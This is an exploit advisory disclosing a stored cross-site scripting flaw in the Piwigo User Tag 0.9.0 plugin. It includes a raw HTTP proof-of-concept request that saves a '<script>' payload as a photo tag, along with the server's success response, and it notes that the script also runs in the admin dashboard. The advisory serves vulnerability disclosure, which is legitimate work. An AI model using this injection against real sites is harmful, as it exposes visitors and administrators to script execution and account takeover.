Piwigo Plugin User Tag 0.9.0 - Cross-Site Scripting

# Exploit Title: Piwigo plugin User Tag , Persistent XSS
# Date: 10 Aug, 2017
# Extension Version: 0.9.0
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=441
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
    What is Piwigo ?
    Piwigo is photo gallery software for the web, built by an active
community of users and developers.Extensions make Piwigo easily
customizable.Piwigo is a free and open source.

    User Tag Extension in piwigo.
    This plugin extends piwigo with the function to Allow visitors to add
tags to photos.



############ Requrment ##############

Admin Must allow to user or guest for a tag in User Tag plugin option.


######## Attact Description  ########
<!--

     User Tag Extension provides additional function on photo page for the
user to tag any name of that image.


NOTE: "test.touhidshaikh.com" this domain not registered on the internet.
This domain host on local machine.

==>START<==
Any guest visitor or registered user can perform this.

User Tag Extension adds an additional field(Keyword) on photo pages that
let you tag a User Tag on the picture for visitor and registered user.

click on that Field after that fill input text box with malicious code
javascript and press Enter its stored as a User Tag keyword.

Your Javascript Stored in Server's Database and execute every time when any
visitor visit that photo.


NOte: This is also executed in admin's dashboard when admin visit keyword
page.

-->

######## Proof of Concept ########


 *****Request*****

POST /ws.php?format=json&method=user_tags.tags.update HTTP/1.1
Host: test.touhidshaikh.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.touhidshaikh.com/picture.php?/4/category/1
Content-Length: 83
Cookie: _ga=GA1.2.392572598.1501252105; pwg_id=gsf3gp640oupaer3cjpnl22sr0
Connection: close

image_id=4&referer=picture.php%3F%2F4%2Fcategory%2F1&tags=<script>prompt()</script>

**************************************************

******Response********
HTTP/1.1 200 OK
Date: Thu, 10 Aug 2017 11:36:24 GMT
Server: Apache/2.4.27 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 46
Connection: close
Content-Type: text/plain; charset=utf-8

{"stat":"ok","result":{"info":"Tags updated"}}

****************************************************


####################################################


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